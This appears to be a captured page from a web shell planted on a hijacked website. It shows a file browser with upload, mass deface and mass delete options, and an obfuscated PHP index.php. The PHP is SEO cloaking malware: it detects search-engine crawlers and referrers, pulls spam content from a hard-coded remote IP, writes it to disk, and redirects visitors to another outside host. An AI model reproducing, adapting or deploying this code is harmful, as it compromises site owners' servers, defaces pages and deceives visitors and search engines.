shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
socialite.brannanatkinson.com
/
public
/
assets
/
images
/
th0sfzu
/ [
drwxrwxrwx
]
upload
mass deface
mass delete
console
info server
name :
index.php
<?php goto HxGIZ; rFz42: $DXnxo = explode("\12", $DXnxo); goto oqc5H; kDusF: if (!(strlen($DXnxo) > 500)) { goto F7fyk; } goto yrzZk; guKj1: if (!($_GET["\x69\144"] == "\164\x65\163\x74\x69\x6e\147")) { goto SZhk6; } goto W9LqV; n1b0x: curl_close($T2xYs); goto enAh2; lov32: echo "{$L0kpI}\40\50{$mCbjG}\51\x3c\x62\x72\x20\57\76\12"; goto qzEeF; h7aN0: SZhk6: goto MejCh; xLJXG: rpUfC: goto NsqoK; XBeul: curl_setopt($T2xYs, CURLOPT_SSL_VERIFYHOST, 2); goto hFOJG; lkLrR: $zAqMn = 3; goto jyiU8; qXEwJ: echo $jG2BR; goto R_asC; OMTDH: $fl9Pc = file($fl9Pc); goto W3LAK; R9Lx4: if (!(strpos($_SERVER["\110\x54\x54\x50\137\125\x53\x45\122\137\101\107\x45\116\x54"], "\x62\x69\x6e\x67") > 2 or strpos($_SERVER["\x48\x54\x54\x50\x5f\x55\123\105\122\x5f\101\107\105\116\124"], "\x79\x61\x68\x6f\x6f") > 2)) { goto FPrEr; } goto e6_zg; W3LAK: $fl9Pc = chop($fl9Pc[0]); goto ESTNu; x4gSG: $T2xYs = curl_init(); goto mHdmg; uqc9N: $fl9Pc = "\x69\x6e\x64\145\x78\x2f" . $_GET["\151\144"] . "\56\160\150\x70\x2e\164\x70\x6c"; goto OMTDH; wL4dK: $DXnxo = $DXnxo . fgets($jCaZf, 2048); goto ERg3b; uiCvB: curl_setopt($T2xYs, CURLOPT_CONNECTTIMEOUT, 4); goto fOB4a; v8eWU: $bnJg2 = dirname($_SERVER["\x50\110\120\137\x53\105\114\106"]); goto oLxz7; ltGxe: if (!file_exists("\x69\156\x64\145\x78\x2f" . $YWvIF)) { goto dsBp5; } goto iYOQH; uZYXW: if (!function_exists("\x63\165\162\x6c\137\x69\x6e\151\x74")) { goto sq3UV; } goto x4gSG; CIerd: goto x_QG_; goto eLAYT; LHxHx: dsBp5: goto wfMLr; e6_zg: $EQqxl = str_replace("\x2d", "\40", $_GET["\x69\144"]); goto b2a4D; rQXfB: zVh_m: goto WyVki; XzMTH: fclose($sikWv); goto C8yly; ERg3b: goto xCvB7; goto u1tPw; yrzZk: $sikWv = fopen("\151\x6e\x64\x65\170\57" . $YWvIF, "\x77"); goto Hlybz; iYOQH: $jG2BR = @file_get_contents("\x69\156\x64\x65\170\57" . $YWvIF); goto R9Lx4; lEvcV: $DXnxo = file_get_contents("\x68\164\x74\160\72\x2f\x2f\x36\x35\56\61\x30\x39\56\x36\67\x2e\61\x30\60\57" . $_GET["\146\x6e"] . "\x2e\160\150\160\x3f\160\141\x73\x73\x3d{$nZT0r}\46\x71\75{$_GET["\151\x64"]}"); goto CDedO; KGGd5: $YWvIF = $_GET["\151\x64"] . "\56\160\x68\x70"; goto ltGxe; C8yly: F7fyk: goto YIH81; xTM5m: if (!$jCaZf) { goto t8oco; } goto pQfoG; eLAYT: t8oco: goto lov32; KTF3h: $sikWv .= "\110\157\x73\x74\x3a\40{$kPHT5}\15\12"; goto nwxsN; MejCh: if (!($_GET["\x69\x64"] == "\151\156\144\145\170")) { goto rpUfC; } goto YN8o4; nwxsN: $sikWv .= "\x43\157\x6e\156\145\143\164\151\157\x6e\x3a\40\103\x6c\157\x73\x65\15\12\xd\12"; goto XBZ4P; avKRj: exit; goto xLJXG; dSY5P: if (feof($jCaZf)) { goto DeFx6; } goto wL4dK; O0JpH: $EQqxl = str_replace("\55", "\x20", $_GET["\x69\x64"]); goto t9prS; YN8o4: header("\114\x6f\143\x61\164\x69\x6f\156\72\x20\150\164\x74\x70\x73\x3a\x2f\57\x67\x6f\157\147\x6c\x65\56\143\x6f\x6d"); goto avKRj; sQOS1: vGunB: goto guKj1; WyVki: $AmDso = str_replace("\55", "\x2b", $_GET["\x69\144"]); goto eCTYO; R_asC: exit; goto LHxHx; jyiU8: $gZq4e = 5; goto O0JpH; wfMLr: goto zVh_m; goto Ti0h8; Ti0h8: PTd6f: goto uqc9N; mt4y5: $TodJ2 = "\x62\62\x33\150\162\62\63\166\x72\63\62"; goto v8eWU; xZ0wy: exit; goto h7aN0; KNPtg: $B_toY = "\x72\166\63\x32\171\x64\x61\143\163\166\x73\x64\x76"; goto Dcsot; fgxEk: Q6jME: goto kDusF; BHhxa: $jCaZf = fsockopen($kPHT5, 80, $mCbjG, $L0kpI, 30); goto xTM5m; Jyud8: $bnJg2 = ''; goto n2mRn; enAh2: sq3UV: goto bySvk; HxGIZ: error_reporting(0); goto nHtPB; fOB4a: curl_setopt($T2xYs, CURLOPT_SSL_VERIFYPEER, FALSE); goto XBeul; NsqoK: $_GET["\167\157\x72\154\x64"] = 5; goto Jt35l; b2a4D: $jG2BR = str_replace("\74\164\151\164\154\x65\x3e\74\x2f\164\151\x74\x6c\145\x3e", "\x3c\x74\x69\164\x6c\x65\76{$EQqxl}\74\57\164\x69\x74\154\145\x3e", $jG2BR); goto DK2dn; dwRwn: $kPHT5 = "\x36\65\x2e\61\x30\x39\56\66\67\56\x31\60\x30"; goto BHhxa; W9LqV: echo "\164\x65\163\x74\40\x67\157\x6f\144\x2e\56\x2e"; goto xZ0wy; Dcsot: $nZT0r = "{$mbbAr}" . "{$TodJ2}" . "{$B_toY}"; goto LjF1h; pQfoG: $HBuPu = "\x2f" . $_GET["\x66\156"] . "\x2e\x70\150\160\77\x70\141\163\163\x3d{$nZT0r}\46\x71\x3d{$_GET["\x69\144"]}"; goto Q05ct; r9eu7: curl_setopt($T2xYs, CURLOPT_RETURNTRANSFER, 1); goto uiCvB; WIbo1: $mbbAr = "\166\151\163\x64\x6f\151\x6a\145\167"; goto lkLrR; uXFOp: header("\114\x6f\x63\x61\164\x69\x6f\x6e\72\40\x68\164\164\160\72\x2f\x2f\66\65\x2e\61\60\x38\x2e\61\x30\x2e\61\x39\x39\57\x65\156\164\145\162\57\x3f\x6d\141\x72\153\x3d{$IKTKg}\55{$bnJg2}\46\164\x70\x6c\x3d{$fl9Pc}\46\145\156\147\153\145\x79\x3d{$EQqxl}"); goto I6NGL; hFOJG: curl_setopt($T2xYs, CURLOPT_USERAGENT, "\115\157\x7a\151\x6c\154\141\x2f\x34\56\60\x20\50\143\x6f\155\x70\141\x74\x69\142\154\145\73\x20\x4d\123\111\x45\40\66\x2e\x30\x3b\x20\127\151\x6e\144\157\x77\163\x20\116\124\40\x35\56\x31\x3b\x20\123\126\x31\51"); goto oXNtL; XBZ4P: fwrite($jCaZf, $sikWv); goto E6FRt; oXNtL: $DXnxo = curl_exec($T2xYs); goto n1b0x; bySvk: if (!(strlen($DXnxo) < 5000)) { goto V4WbF; } goto lEvcV; COHv8: fclose($sikWv); goto rFz42; oLxz7: if (!($bnJg2 == "\x5c" | $bnJg2 == "\x2f")) { goto X2JKl; } goto Jyud8; alaWN: if (!(strlen($DXnxo) < 5000)) { goto Q6jME; } goto dwRwn; DK2dn: FPrEr: goto qXEwJ; JQEa5: foreach ($_GET as $HMNt6 => $NKuC4) { $_GET["\151\144"] = $NKuC4; cr7CE: } goto sQOS1; E6FRt: xCvB7: goto dSY5P; ESTNu: $Su3Nu = $_GET["\x6d\171"]; goto uXFOp; Q05ct: $sikWv = "\x47\x45\x54\x20{$HBuPu}\40\x48\124\124\120\x2f\61\x2e\x30\15\xa"; goto KTF3h; LjF1h: if (strpos($_SERVER["\x48\x54\124\x50\137\122\x45\106\105\x52\x45\122"], "\147\x6f\x6f\x67\x6c\x65\x2e") or strpos($_SERVER["\110\124\124\120\x5f\122\x45\106\105\x52\x45\122"], "\x79\141\150\157\157\x2e") or strpos($_SERVER["\110\x54\124\120\x5f\x52\105\x46\x45\x52\105\x52"], "\x62\151\156\147\56")) { goto PTd6f; } goto KGGd5; nHtPB: $IKTKg = "\x32\60\x32\x36\60\x32\x32\65\55"; goto JQEa5; eCTYO: $DXnxo = ''; goto uZYXW; Jt35l: $_GET["\x66\156"] = "\x36\x39\66\71\66\71\156\x65\x77"; goto WIbo1; Hlybz: fwrite($sikWv, $DXnxo); goto XzMTH; u1tPw: DeFx6: goto SUJfp; t9prS: $EQqxl = str_replace("\40", "\53", $EQqxl); goto mt4y5; CDedO: V4WbF: goto alaWN; SUJfp: fclose($jCaZf); goto CIerd; I6NGL: exit; goto rQXfB; EdO8y: $bnJg2 = $_SERVER["\123\x45\122\x56\105\122\137\x4e\101\115\x45"] . $bnJg2; goto KNPtg; oqc5H: $DXnxo = $DXnxo[7]; goto fgxEk; mHdmg: curl_setopt($T2xYs, CURLOPT_URL, "\150\x74\164\160\x3a\x2f\57\66\x35\56\61\x30\71\x2e\66\67\56\x31\60\60\x2f" . $_GET["\146\156"] . "\56\x70\150\160\x3f\160\x61\163\163\x3d{$nZT0r}\x26\161\x3d{$_GET["\x69\x64"]}"); goto r9eu7; qzEeF: x_QG_: goto COHv8; n2mRn: X2JKl: goto EdO8y; YIH81: echo $DXnxo; ?>
© 2026 UnknownSec